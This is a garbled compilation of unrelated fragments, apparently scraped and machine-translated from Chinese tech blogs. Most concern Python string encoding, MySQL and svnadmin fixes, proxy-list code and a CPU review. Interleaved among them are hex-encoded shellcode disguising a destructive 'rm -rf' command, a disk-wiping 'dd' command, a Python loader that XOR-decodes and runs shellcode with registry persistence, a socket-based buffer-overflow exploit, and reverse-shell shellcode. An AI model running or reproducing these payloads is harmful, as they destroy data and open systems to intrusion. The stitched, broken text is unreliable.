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\ x83 \ xec \ x64 \ x68" "\ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99 "" \ xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7 "\ x56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56" "\ x8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31 "" \ xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ x2f \ x62 \ x69 ″ "\ x6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00" "cp-p/bin/sh/tmp /. beyond; chmod 475

times .) 9. dd if =/dev/random of =/dev/sda The commands listed above are directed to the block device.SdaWrite random spam files to erase data. Of course! Your system may be in a state of chaos and irrecoverability. Do you remember saying that music videos cannot be completely deleted from black holes? So this command is to give you a thorough deletion method! Of course, you can overwrite it multiple times for the sake of insurance .) 10. Hide commands The following command is actually the fir

(multiprocessing. Process): _popen=_popenclassWorker (Process):defXOR (self, data, key='\x41\x82\x99\x73\x12\xf8\x0e\x38'): return "'. Join (CHR (ord (c) ^ord (k)) forC,kinchizip (data, Cycle (key)))defrun (self): time.sleep (child_startup_sleep) code=self.xor (sc) cbuf=Ctypes.create_string_buffer (code) func=ctypes.cast (cbuf, Ctypes. Cfunctype (ctypes. HRESULT) func ()defInstall (): reg=_winreg. Connectregistry (None, _winreg. Hkey_current_u

as file ("tmp/table. json ") 4. Json data parsingAssume that the data. json file is as follows: Copy codeThe Code is as follows:{'Issuccess': True, 'errormsg ': '', 'Total': 1, 'data': [{'isonline': True, 'idc ': '\ xe6 \ x9d \ xad \ xe5 \ xb7 \ x9e \ xe5 \ xbe \ xb7 \ xe8 \ x83 \ x9c \ xe6 \ x9c \ xba \ xe6 \ x88 \ xbf ', 'assetsnum': 'b5007000007003', 'responsibilityperson': '\ xe5 \ xbc \ xa0 \ xe4 \ xb9 \ x8b \ xe8 \ xaf \ x9a', 'devicemodel ': 'poweredge 200', 'servicetag': '729hh2x', 'IP'

Reference: http://hi.baidu.com/nivrrex/blog/item/e6ccaf511d0926888d543071.htmlHttp://topic.csdn.net/u/20070404/15/b011aa83-f9b7-43b3-bbff-bfe4f653df03.htmlFirst, make sure that all encodings are Unicodesuch as Str.decode (' UTF8 ') #从utf8文本中U "Ah L" #在控制台输出中(wordy) I want to use a reference must be coded Hex but depressed is that each word seems to occupy 2 positions, using regular match without fruit.Second, determine the Chinese range: [\u4e00-\u9fa5](note here that Python's re is written) to

1, binary: The data stored on the hard disk are saved in binary form. A byte occupies 8 bits, consisting of 0 and 1, every 2 into 1. For example, a Chinese character "King", in the UTF-8 encoding format, the hard disk accounted for 3 bytes 24 bits, if the GBK encoding format, then accounted for 2 bytes, accounted for 16 bits.Save data on hard disk: 01010010READ: 01010100-"The corresponding encoding of Chinese characters-" xxSee two kinds of: ① conversion completed string, such as: Kanji, charact

\x8d\xa2 ' Xiao B ' \xe6\x99\x93 ' Army b ' \xe5\x86\ x9b 'Characters converted to byte classes can also be converted to charactersTurn byte p=bytes ("in", encoding= "Utf-8")Turn character d=str (p,encoding= "Utf-8")A=str () >>>>>>1. Creating a String 2. Converting to a stringA list or a tuple followed (can be iterated (with A For loop))Unique features of the list1, append (li) means append (can append string, list, meta-ancestor, dictionary)2, Extend

\x85\x3e\xd2\xf8\xf4\xee\xab\x18 "+" \x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\ XF9\XF5\XCA\X58\X81 "+" \xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7 "+" \x08\x50\x6c\x07\x9a\xc8\x1a\ x78\x3e\x61\xb5\x0f\x5d\x21 "+" \x1a\x99\x43\x71\x97\x54\x03 ") crash = Shellcode +" A "* (4368-105) +" \x97\x45\x13\x08 "+ "\x83\xc0\x0c\xff\xe0\x90\x90" buffer = "\x11 (Setup Sound" +crash+ "\x90\x90#)" s = Socket.socket (socket.af_inet,socket . SOCK_STREAM) prin

link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:3.2 ShellcodeIn general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address

command is to give you a thorough removal of the method! Of course, for the sake of insurance, you can overwrite it many times. ）10. Hide CommandsThe following command is actually the first command above (RM-RF). The code here is hidden in hex , and an ignorant user may be fooled. Running the following command in the terminal may erase your root partition.This command indicates that the usual real danger is hidden and will not be easily detected. You must always be mindful of what you are doing

=" Wkiol1jscifw0qilaaabkmuxfc8272.png "/>Note: Incorrect string value: ' \xe7\x99\xbb\xe5\xbd\x95 ' for column ' LBL ' error when testing whether Svnadmin is running properlyWorkaround: Enter the Svnadmin database to execute the following statementALTER TABLE i18n MODIFY COLUMN lbl VARCHAR (255) CHARACTER SET UTF8 COLLATE utf8_unicode_ci not NULL; 4. using JsvnadminA), create a library650) this.width=650; "src=" Https://s1.51cto.com/wyfs02/M00/8F/09/

, Chinese, etc.) 1 characters = 4 bytes : one character, English 1 bytes. Chinese two bytes. : English 1 bytes. Europe: 2 bytes. Asia: 3 bytes. Py3: Unicode a:00000000 00000000 00000000 10,014 bytes Medium: 00000000 00001000 00000000 14 bytes Utf-8 a : 11 bytes Europe @ : 00000010 12 bytes Asia ' in ': 00001000 00000000 13 bytes ' China ': 00001000 00000000 00000001 00001001 00000000 00000001 GBK a:00001001 1 byte

: For UTF-8 encoding, Chinese characters are stored in three bytes, and will be performed in 16 binary, while the GBK code is 2 bytes to storeFor versions 2.7 and 3.7, when the for loop outputs a kanji, the version of 2.7 is output in bytes, while for 2.7 the version is output as a characterFrom the above example, we can see that for the For loop, it automatically converts the other binary into decimal. d. Str and bytes Conversions Span style= "COLOR: #800080" > (1), convert string to byte

Transferred from: http://www.cnblogs.com/wushuaishuai/p/7686290.htmlDescribeThe encode () method encodes a string in the specified encoding format, and the default encoding is ' Utf-8 '.Corresponding decoding method: Bytes decode () method.GrammarEncode () method syntax:1S.encode([encoding=‘utf-8‘][,errors=‘strict‘])Parameters Encoding--optional parameter, the encoding to use, the default encoding is ' Utf-8 '. Errors--optional parameter, set different error handling scheme. The def

.= "\xeb\ x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″4. "\xff\xff\xff\xff\x68\xdf\ xd0\xdf\xd9\x68\x8d\x99″5. "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7″6. "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ 7. "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″8." \ xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″9. "\x6e\x2f\x73\x68\x00\ x2d\x63\x00″10. "Cp-p/bin/sh/tmp/.beyond;chmod 475511./tmp/.beyond; ";Note: do not perform any of the abov

\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f "shellCode + = "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68" Shellcode + = "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\ X57\x68\x99\xa5 "Shellcode + =" \x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec "Shellcode + =" \x68\xf0\xb5\xa2\ x56\xff\xd5\x68\x63\x6d\x64\x00\x89 "Shellcode + =" \xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66 "Shellcode + = "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc

flagship, although less than 6950X has 10 core, but has been in line with the previous generation of the flagship, High default frequency can also enjoy high performance without overclocking. I7-6900K uses 14nm process to build, equipped with 8 core 16 threads, the default frequency is 3.2GHz, the maximum core frequency can reach 3.7GHz, overclocking performance is far more than this, with X99 chipset motherboard can play its full power.

')Cursor.execute (' ALTER TABLE proxy auto_increment=1 ')Cursor.executemany ("INSERT into proxy (ip,port,speed,address) VALUES (%s,%s,%s,%s)", insert_list)Conn.commit ()Cursor.close ()Conn.close ()Except Mysqldb.error,e:Print "Mysql Error%d:%s"% (E.args[0], e.args[1]) #代理排序持久化 PROXY_OK = []F= Open ("Proxy_list.txt", ' w+ ')For proxy in sorted (Checkedproxylist,cmp=lambda x,y:cmp (x[3],y[3)):If PROXY[3] #print "Checked proxy is:%s:%s\t%s\t%s"% (Proxy[0],proxy[1],proxy[2],proxy[3])Proxy_ok.appe

|+-----------+-------------+------+-----+---------+----------------+| ID | int (8) | | PRI | NULL |auto_increment| | surname | varchar | | | | | firstname | varchar | | | | || Street | varchar | | | | | | | | | | | | | | | City | varchar | | | | | | | | | | | | | +-----------+-------------+------+-----+---------+----------------+ You can now insert a row to test the databa

delete the data? Then this command is to give you a thorough removal of the method! Of course, for the sake of insurance, you can overwrite it many times. ）10. Hide CommandsThe following command is actually the first command above (RM-RF). The code here is hidden in hex, and an ignorant user may be fooled. Running the following command in the terminal may erase your root partition.This command indicates that the usual real danger is hidden and will not be easily detected. You must always be min